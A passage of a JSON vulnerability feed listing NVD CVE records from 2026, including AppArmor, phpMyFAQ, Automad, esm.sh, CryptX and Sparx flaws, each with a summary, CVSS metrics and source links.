record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47333","cveId":"CVE-2026-47333","aliases":[],"kind":"vulnerability","title":"Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read...","summary":"Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in invalid data being processed by the AppArmor DFA policy engine.","detail":"Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly compute the size of an internal buffer, leading to a heap memory out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in invalid data being processed by the AppArmor DFA policy engine.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:42.073Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"canonical","product":"ubuntu linux","stacks":["Canonical","ubuntu linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47333","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47333","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47333","type":"primary","publishedAt":"2026-05-28T19:16:42.073Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47331","cveId":"CVE-2026-47331","aliases":[],"kind":"vulnerability","title":"Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list.","summary":"Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. An unprivileged local user could trigger the race condition that can lead to a use-after-free (UAF) and, theoretically, arbitrary code execution.","detail":"Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. An unprivileged local user could trigger the race condition that can lead to a use-after-free (UAF) and, theoretically, arbitrary code execution.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:41.757Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"canonical","product":"ubuntu linux","stacks":["Canonical","ubuntu linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47331","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47331","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47331","type":"primary","publishedAt":"2026-05-28T19:16:41.757Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46509","cveId":"CVE-2026-46509","aliases":[],"kind":"vulnerability","title":"deepobj provides get, set, delete deep objects in javascript.","summary":"deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.","detail":"deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:39.280Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46509","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46509","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46509","type":"primary","publishedAt":"2026-05-28T19:16:39.280Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45332","cveId":"CVE-2026-45332","aliases":[],"kind":"vulnerability","title":"Automad is a flat-file content management system and template engine.","summary":"Automad is a flat-file content management system and template engine. From 2.0.0-alpha.1 to 2.0.0-beta.27, a Broken Access Control vulnerability allows an unauthenticated attacker to retrieve the bcrypt password hash of every administrator account with a single POST request. The /_api/user-collection/create-first-user setup endpoint remains publicly accessible once initial configuration is complete and returns full serialized user data in the JSON response body. This vulnerability is fixed in 2.0.0-beta.28.","detail":"Automad is a flat-file content management system and template engine. From 2.0.0-alpha.1 to 2.0.0-beta.27, a Broken Access Control vulnerability allows an unauthenticated attacker to retrieve the bcrypt password hash of every administrator account with a single POST request. The /_api/user-collection/create-first-user setup endpoint remains publicly accessible once initial configuration is complete and returns full serialized user data in the JSON response body. This vulnerability is fixed in 2.0.0-beta.28.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:39.133Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45332","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45332","type":"primary","publishedAt":"2026-05-28T19:16:39.133Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45373","cveId":"CVE-2026-45373","aliases":[],"kind":"vulnerability","title":"CodeWhale is a DeepSeek + MiMo coding agent in terminal.","summary":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in‌‌ URL‌ as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.","detail":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in‌‌ URL‌ as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T18:16:35.717Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45373","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45373","type":"primary","publishedAt":"2026-05-28T18:16:35.717Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44594","cveId":"CVE-2026-44594","aliases":[],"kind":"vulnerability","title":"esm.sh is a no-build content delivery network (CDN) for web development.","summary":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.","detail":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:24.717Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44594","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44594","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44594","type":"primary","publishedAt":"2026-05-28T16:16:24.717Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44358","cveId":"CVE-2026-44358","aliases":[],"kind":"vulnerability","title":"Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects.","summary":"Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. Prior to 1.0.1, the action's entrypoint.sh invoked DangerJS from the caller's workspace after copying the fork's checkout into it, creating an untrusted search path for both binary resolution and Node.js module resolution. A fork pull request processed by a pull_request_target workflow could therefore cause fork-supplied code to execute inside the action container in place of the action's own code. This vulnerability is fixed in 1.0.1.","detail":"Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. Prior to 1.0.1, the action's entrypoint.sh invoked DangerJS from the caller's workspace after copying the fork's checkout into it, creating an untrusted search path for both binary resolution and Node.js module resolution. A fork pull request processed by a pull_request_target workflow could therefore cause fork-supplied code to execute inside the action container in place of the action's own code. This vulnerability is fixed in 1.0.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:24.210Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44358","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44358","type":"primary","publishedAt":"2026-05-28T16:16:24.210Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41565","cveId":"CVE-2026-41565","aliases":[],"kind":"vulnerability","title":"CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.","summary":"CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.\n\nThe gcm_decrypt_verify, ccm_decrypt_verify, chacha20poly1305_decrypt_verify and eax_decrypt_verify XS routines copied the caller-supplied authentication tag into a fixed 144-byte stack buffer (MAXBLOCKSIZE) without checking the supplied length. A longer tag overwrites the stack past the buffer. Version 0.088 added the clamp to gcm_decrypt_verify, and 0.088_001 added it to the other three.\n\nAny caller of an affected helper that forwards an attacker-controlled tag longer than the buffer can trigger the overflow.","detail":"CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers.\n\nThe gcm_decrypt_verify, ccm_decrypt_verify, chacha20poly1305_decrypt_verify and eax_decrypt_verify XS routines copied the caller-supplied authentication tag into a fixed 144-byte stack buffer (MAXBLOCKSIZE) without checking the supplied length. A longer tag overwrites the stack past the buffer. Version 0.088 added the clamp to gcm_decrypt_verify, and 0.088_001 added it to the other three.\n\nAny caller of an affected helper that forwards an attacker-controlled tag longer than the buffer can trigger the overflow.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:22.343Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41565","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41565","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41565","type":"primary","publishedAt":"2026-05-28T16:16:22.343Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35676","cveId":"CVE-2026-35676","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without...","summary":"phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.","detail":"phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:21.923Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35676","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35676","type":"primary","publishedAt":"2026-05-28T16:16:21.923Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35675","cveId":"CVE-2026-35675","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password...","summary":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.","detail":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:21.800Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35675","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35675","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35675","type":"primary","publishedAt":"2026-05-28T16:16:21.800Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35672","cveId":"CVE-2026-35672","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ...","summary":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.","detail":"phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:21.667Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35672","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35672","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35672","type":"primary","publishedAt":"2026-05-28T16:16:21.667Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35671","cveId":"CVE-2026-35671","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any...","summary":"phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.","detail":"phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:21.530Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35671","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35671","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35671","type":"primary","publishedAt":"2026-05-28T16:16:21.530Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42099","cveId":"CVE-2026-42099","aliases":[],"kind":"vulnerability","title":"Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint.","summary":"Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint. The application downloads the properties of the object pointed by guid parameter and saves loaded content in current location (__DIR__) under the specified name. An attacker with repository access can control both the filename and file contents, allowing the creation of a malicious PHP file in a current directory. Although the file is deleted after processing, a race condition exists: if the response transmission is delayed (e.g., via a large file or slow client connection), the file remains accessible. During this window, the attacker can issue a second request to execute the malicious PHP file, resulting in remote code execution.\n\n\n\n\n\n\n\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.","detail":"Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint. The application downloads the properties of the object pointed by guid parameter and saves loaded content in current location (__DIR__) under the specified name. An attacker with repository access can control both the filename and file contents, allowing the creation of a malicious PHP file in a current directory. Although the file is deleted after processing, a race condition exists: if the response transmission is delayed (e.g., via a large file or slow client connection), the file remains accessible. During this window, the attacker can issue a second request to execute the malicious PHP file, resulting in remote code execution.\n\n\n\n\n\n\n\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 